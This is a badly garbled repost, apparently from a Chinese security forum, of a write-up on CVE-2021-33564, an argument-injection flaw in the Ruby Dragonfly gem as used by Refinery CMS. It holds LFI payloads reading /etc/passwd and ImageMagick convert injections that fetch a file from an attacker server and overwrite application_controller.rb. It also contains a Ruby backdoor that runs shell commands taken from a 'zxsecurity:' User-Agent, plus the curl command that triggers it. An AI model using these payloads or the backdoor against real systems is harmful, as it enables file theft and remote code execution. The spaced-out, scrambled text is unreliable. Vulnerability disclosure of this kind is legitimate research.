[28973] 2021-05-29_CVE-2021-33564RubyDragonfly中的参数注入

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2021-05-29_CVE-2021-33564RubyDragonfly中的参数注入 C V E - 2 0 2 1 - 3 3 5 6 4   R u b y   D r a g o n f l y   O t s   2 0 2 1 - 0 5 - 2 9 R e f i n e r y   C M S     R u b y G e m   D r a g o n f l y   R e f i n e r y   C M S L o c o m o t i v e   C M S A l c h e m y   C M S   C M S   使 D r a g o n f l y   R u b y   G e m D r a g o n f l y   U R L     R e f i n e r y   C M S   b a s e 6 4     D r a g o n f l y   2 2 5 x 2 5 5 # 1     -     ( L F I )   b a s e 6 4   f p f   L F I   . . / . . /   R e f i n e r y   C M S   . . / ;   L F I   # 2     -     U R L   f .   D r a g o n f l y D r a g o n f l y f :   f e t c h f f :   f e t c h _ f i l e f u :   f e t c h _ u r l g :   g e n e r a t e p :   p r o c e s s f e t c h   L F I   f e t c h _ f i l e f e t c h _ u r l / s y s t e m / i m a g e s / W 1 s i Z i I s I j I w M T U v M D Q v M j E v N j R l Z 2 d 5 M j J z c l 9 C d W x s d 2 l u a 2 x l L m p w Z y J d L F s i c C I s I n R o d W 1 i I i w i M j I 1 e D I 1 N V x 1 M D A z Z S J d X Q / B u l l w i n k l e . j p g [ [ " f " , " 2 0 1 5 / 0 4 / 2 1 / 6 4 e g g y 2 2 s r _ B u l l w i n k l e . j p g " ] , [ " p " , " t h u m b " , " 2 2 5 x 2 5 5 u 0 0 3 e " ] ] [ [ " f " , " . . / . . / . . / . . / . . / e t c / p a s s w d " ] ] d e f   v a l i d a t e _ f e t c h _ f i l e _ s t e p ! ( s t e p )
g e n e r a t e p r o c e s s D r a g o n f l y I m a g e M a g i c k c o n v e r t U R L b a s e 6 4   s h e l l   c o n v e r t S h e l l   & & | | $ ( ) 使   R u b y   G e m   S h e l l w o r d s   s h e l l s p l i t S h e l l w o r d s . e s c a p e e s c a p e     u n l e s s   f e t c h _ f i l e _ w h i t e l i s t . i n c l u d e ? ( s t e p . p a t h )         r a i s e   J o b N o t A l l o w e d ,   " f e t c h   f i l e   # { s t e p . p a t h }   d i s a l l o w e d   -   u s e   f e t c h _ f i l e _ w h i t e l i s t   t o   a l l o w   i t "     e n d e n d d e f   v a l i d a t e _ f e t c h _ u r l _ s t e p ! ( s t e p )     u n l e s s   f e t c h _ u r l _ w h i t e l i s t . i n c l u d e ? ( s t e p . u r l )         r a i s e   J o b N o t A l l o w e d ,   " f e t c h   u r l   # { s t e p . u r l }   d i s a l l o w e d   -   u s e   f e t c h _ u r l _ w h i t e l i s t   t o   a l l o w   i t "     e n d e n d / s y s t e m / i m a g e s / W 1 s i Z y I s I C J j b 2 5 2 Z X J 0 I i w g I n R l c 3 Q u a n B n I i w g I n B u Z y J d X Q = = [ [ " g " ,   " c o n v e r t " ,   " t e s t . j p g " ,   " p n g " ] ] c o n v e r t   t e s t . j p g   / t m p / d r a g o n f l y < v a r i a b l e _ l e n g t h _ s t r i n g > . p n g d e f   r u n ( c o m m a n d ,   o p t s = { } )     c o m m a n d   =   e s c a p e _ a r g s ( c o m m a n d )   u n l e s s   o p t s [ : e s c a p e ]   = =   f a l s e     D r a g o n f l y . d e b u g ( " s h e l l   c o m m a n d :   # { c o m m a n d } " )     r u n _ c o m m a n d ( c o m m a n d ) e n d d e f   e s c a p e _ a r g s ( a r g s )     a r g s . s h e l l s p l i t . m a p { | a r g |   e s c a p e ( a r g )   } . j o i n ( '   ' ) e n d d e f   e s c a p e ( s t r i n g )     S h e l l w o r d s . e s c a p e ( s t r i n g ) e n d d e f   s h e l l e s c a p e ( s t r )     s t r   =   s t r . t o _ s
s h e l l s p l i t 使 使 [ [ " g " ,   " c o n v e r t " ,   "   - h e l p   t e s t . p n g " ,   " p n g " ] ] c o n v e r t 使   I m a g e M a g i c k     I m a g e M a g i c k I m a g e M a g i c k   I m a g e M a g i c k r g b R G B 使 r g b - s i z e a n d - d e p t h 使   I m a g e M a g i c k     B M P / e t c / p a s s w d t e s t . b m p t e s t . b m p       s t r   =   s t r . t o _ s     #   A n   e m p t y   a r g u m e n t   w i l l   b e   s k i p p e d ,   s o   r e t u r n   e m p t y   q u o t e s .     r e t u r n   " ' ' " . d u p   i f   s t r . e m p t y ?     s t r   =   s t r . d u p     #   T r e a t   m u l t i b y t e   c h a r a c t e r s   a s   i s .     I t   i s   t h e   c a l l e r ' s   r e s p o n s i b i l i t y     #   t o   e n c o d e   t h e   s t r i n g   i n   t h e   r i g h t   e n c o d i n g   f o r   t h e   s h e l l     #   e n v i r o n m e n t .     s t r . g s u b ! ( / [ ^ A - Z a - z 0 - 9 _ - . , : + / @ n ] / ,   " & " )     #   A   L F   c a n n o t   b e   e s c a p e d   w i t h   a   b a c k s l a s h   b e c a u s e   a   b a c k s l a s h   +   L F     #   c o m b o   i s   r e g a r d e d   a s   a   l i n e   c o n t i n u a t i o n   a n d   s i m p l y   i g n o r e d .     s t r . g s u b ! ( / n / ,   " ' n ' " )     r e t u r n   s t r e n d c o n v e r t   - h e l p   t e s t . p n g   / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . p n g c o n v e r t   - s i z e   < f i l e _ s i z e > x 1   - d e p t h   8   r g b : / e t c / p a s s w d   / t m p / t e s t . b m p B M & | 4 B G R s ( `   @ 3 3 f f & @ f f     < $ 2 o o r x : t : 0 : r : 0 t o o r / : t o o b / : / n i s a b d h m e a : n o 1 : x : 1 : e a d n o m u / : / r s i b s / : n r s u b s / / n i l o n i g o b n : n i 2 : x : 2 : n i b b / : : n i s u / s / r n i b o n / g o l n i s y s : x : 3 : 3 y s : / : s v e d u / : / r s i b s n / n o l o n i g y s : c n 4 : x 5 6 : 4 3 5 y s : : c n i b / / : n n i b y s / c n m a g : s e 5 : x 0 6 : a g : s e m u / : / r s m a g : s e s u / s / r n i b o n / g o l n i n a m : x : 1 : 6 m : 2 : n a a v / c / r h c a m / e : n a s u / s / r n i b o n / g o l n i : p l 7 : x : 7 : : p l a v / s / r o o p l / l : d p s u / s / r n i b o n / g o l
t e s t . b m p c o n v e r t   t e s t . b m p   r g b : t e s t . o u t t e s t . o u t   / e t c / p a s s w d   3     R G B   使 o u t f o o b a r   I m a g e M a g i c k   - s i z e 使 使 r g b : 使 g r a y : / e t c / p a s s w d t o / t m p / t e s t . o u t / t m p / t e s t . o u t / e t c / p a s s w d n i i a m x : l : 8 : m : 8 l i a v / : / r a i a m / : l r s u b s / / n i l o n i g o n n s w e : x : 9 : 9 e n : : s w a v / s / r o o p n / l s w e u / : / r s i b s n / n o l o n i g u u : p c 1 : x 1 : 0 u : 0 p c u v / : / r a o p s / l o c u u / : p r s u b s / / n i l o n i g o p n x o r x : y 3 1 : 3 1 : r p : y x o b / : : n i s u / s / r n i b o n / g o l n i w w w a d - : a t 3 : x 3 : 3 w : 3 - w w t a d / : a r a v w w / / : w r s u b s / / n i l o n i g o b n k c a : p u 3 : x 3 : 4 b : 4 k c a : p u a v / b / r k c a s p u u / : / r s i b s n / n o l o n i g i l : t s 3 : x 3 : 8 M : 8 l i a g n i i L     t s n a M e g a / : r r a v i l / : t s s u / s / r n i b o n / g o l n i c r i : x : : 9 3 : 9 3 c r i / : d r a v u r / i / n d c r u / : / r s i b s n / n o l o n i g n g s t a : x : : 1 4 : 1 4 a n G   s t g u B e R - r o p n i t S   g t s y   m e d a ( n i m / : ) r a v i l / g / b t a n / : s r s u b s / / n i l o n i g o n n o b o : y d 6 : x 3 5 5 6 : 4 3 5 5 n : 4 o b o : y d o n / x e n t s i t n e u / : / r s i b s n / n o l o n i g a _ : t p 1 : x : 0 0 5 5 6 : 4 3 n / : e n o s i x n e t / : t r s u b s / / n i l o n i g o c o n v e r t   - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d   / t m p / t e s t . o u t r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h d a e m o n : x : 1 : 1 : d a e m o n : / u s r / s b i n : / u s r / s b i n / n o l o g i n b i n : x : 2 : 2 : b i n : / b i n : / u s r / s b i n / n o l o g i n s y s : x : 3 : 3 : s y s : / d e v : / u s r / s b i n / n o l o g i n s y n c : x : 4 : 6 5 5 3 4 : s y n c : / b i n : / b i n / s y n c g a m e s : x : 5 : 6 0 : g a m e s : / u s r / g a m e s : / u s r / s b i n / n o l o g i n m a n : x : 6 : 1 2 : m a n : / v a r / c a c h e / m a n : / u s r / s b i n / n o l o g i n l p : x : 7 : 7 : l p : / v a r / s p o o l / l p d : / u s r / s b i n / n o l o g i n m a i l : x : 8 : 8 : m a i l : / v a r / m a i l : / u s r / s b i n / n o l o g i n n e w s : x : 9 : 9 : n e w s : / v a r / s p o o l / n e w s : / u s r / s b i n / n o l o g i n u u c p : x : 1 0 : 1 0 : u u c p : / v a r / s p o o l / u u c p : / u s r / s b i n / n o l o g i n p r o x y : x : 1 3 : 1 3 : p r o x y : / b i n : / u s r / s b i n / n o l o g i n w w w - d a t a : x : 3 3 : 3 3 : w w w - d a t a : / v a r / w w w : / u s r / s b i n / n o l o g i n b a c k u p : x : 3 4 : 3 4 : b a c k u p : / v a r / b a c k u p s : / u s r / s b i n / n o l o g i n l i s t : x : 3 8 : 3 8 : M a i l i n g   L i s t   M a n a g e r : / v a r / l i s t : / u s r / s b i n / n o l o g i n
c o n v e r t - w r i t e r g b : < f i l e n a m e > :     R G B   g r a y : < f i l e n a m e > - w r i t e   < o u t p u t > :   - s i z e   < w i d t h > x < h e i g h t > :   - d e p t h   < o u t p u t > :   R C E 使 / e t c / p a s s w d   b a s e 6 4     H T T P   G E T     R e f i n e r y   C M S   i r c : x : 3 9 : 3 9 : i r c d : / v a r / r u n / i r c d : / u s r / s b i n / n o l o g i n g n a t s : x : 4 1 : 4 1 : G n a t s   B u g - R e p o r t i n g   S y s t e m   ( a d m i n ) : / v a r / l i b / g n a t s : / u s r / s b i n / n o l o g i n n o b o d y : x : 6 5 5 3 4 : 6 5 5 3 4 : n o b o d y : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n _ a p t : x : 1 0 0 : 6 5 5 3 4 : : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n [ [ " g " ,   " c o n v e r t " ,   " - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d " ,   " o u t " ] ] c o n v e r t   - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d   / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . o u t
使 B M P 使   W e b   R e f i n e r y   C M S     I m a g e M a g i c k     U R L   o u t . b m p o u t . b m p 使 h t t p : / / < a t t a c k e r _ s e r v e r > / - w r i t e   R C E   R e f i n e r y   C M S   a p p l i c a t i o n _ c o n t r o l l e r . r b R u b y   o n   R a i l s     a p p l i c a t i o n _ c o n t r o l l e r . r b c o n v e r t   - s i z e   < f i l e _ s i z e > x 1   - d e p t h   8   g r a y : < f i l e n a m e >   o u t . b m p [ [ " g " ,   " c o n v e r t " ,   " h t t p : / / < a t t a c k e r _ s e r v e r > / o u t . b m p   - w r i t e   g r a y : < t a r g e t _ l o c a t i o n   > " ,   " p n g " ] ] c o n v e r t   h t t p : / / < a t t a c k e r _ s e r v e r > / o u t . b m p   - w r i t e   g r a y : < t a r g e t _ l o c a t i o n >     / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . o u t c l a s s   A p p l i c a t i o n C o n t r o l l e r   <   A c t i o n C o n t r o l l e r : : B a s e i n c l u d e   A p p l i c a t i o n H e l p e r         p r o t e c t _ f r o m _ f o r g e r y   w i t h :   : e x c e p t i o n         b e f o r e _ a c t i o n   : h t t p _ b a s i c _ a u t h         l a y o u t   - >   {   p a r a m s [ : c o n t r o l l e r ]   = =   " h o m e "   ?   " a p p l i c a t i o n "   :   " c o n t e n t "   }         p r o t e c t e d d e f   h t t p _ b a s i c _ a u t h                 u a   =   r e q u e s t . e n v [ ' H T T P _ U S E R _ A G E N T ' ]                 i d x   =   u a . i n d e x ( " z x s e c u r i t y : " ) i f   i d x   ! =   n i l                         c m d   =   u a [ i d x + 1 1 . . - 1 ]                         p u t s   c m d                         r e s   =   ` # { c m d } ` ` e c h o   ' # { r e s } '   >   p u b l i c / o u t . t x t ` e n d r e t u r n   u n l e s s   E N V [ " H T T P _ B A S I C _ A U T H _ U S E R N A M E " ]   & &   E N V [ " H T T P _ B A S I C _ A U T H _ P A S S W O R D " ]                 a u t h e n t i c a t e _ o r _ r e q u e s t _ w i t h _ h t t p _ b a s i c ( " U s e r n a m e   a n d   P a s s w o r d   p l e a s e " )   d o   | u s e r n a m e ,   p a s s w o r d |                 u s e r n a m e   = =   E N V [ " H T T P _ B A S I C _ A U T H _ U S E R N A M E " ]   & &   p a s s w o r d   = =   E N V [ " H T T P _ B A S I C _ A U T H _ P A S S W O R D " ] e n d
z x s e c u r i t y : 便 P h u s i o n   P a s s e n g e r < a p p _ r o o t > / t m p / r e s t a r t . t x t a p p l i c a t i o n _ c o n t r o l l e r . r b < a p p _ r o o t > / a p p / c o n t r o l l e r / a p p l i c a t i o n _ c o n t r o l l e r . r b < a p p _ r o o t > / t m p / r e s t a r t . t x t 使 v e r i f y _ u r l s v e r i f y _ u r l s t o _ u n i q u e _ s   b a s e 6 4   H M A C - S H A 2 5 6 R E S T   W e b   使 v e r i f y _ u r l s   D r a g o n f l y D r a g o n f l y     D r a g o n f l y   R u b y   G e m     1 . 4 . 0     P o C h t t p s : / / g i t h u b . c o m / m l r 0 p / C V E - 2 0 2 1 - 3 3 5 6 4 @ c l a u d i o c o n t i n @ s s 2 3 @ s o f t p o i s o n _ M a r k   E v a n s 2 0 2 1 7 2 7 - C M S 2 0 / 0 4 / 2 0 2 1 - C M S 2 9 / 0 4 / 2 0 2 1   -     D r a g o n f l y   3 0 / 0 4 / 2 0 2 1   -   D r a g o n f l y   1 8 / 0 5 / 2 0 2 1   -   D r g a o n f l y   1 9 / 0 5 / 2 0 2 1   -     M I T R E     C V E 2 5 / 0 5 / 2 0 2 1   -     C V E   I D e n d e n d c u r l   - A   ' z x s e c u r i t y : l s '   h t t p s : / / < t a r g e t _ s e r v e r > /   & > / d e v / n u l l   & &   c u r l   h t t p s : / / < t a r g e t _ s e r v e r > / o u t . t x t d e f   s h a     u n l e s s   a p p . s e c r e t         r a i s e   C a n n o t G e n e r a t e S h a     e n d     O p e n S S L : : H M A C . h e x d i g e s t ( ' S H A 2 5 6 ' ,   a p p . s e c r e t ,   t o _ u n i q u e _ s ) [ 0 , 1 6 ] e n d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则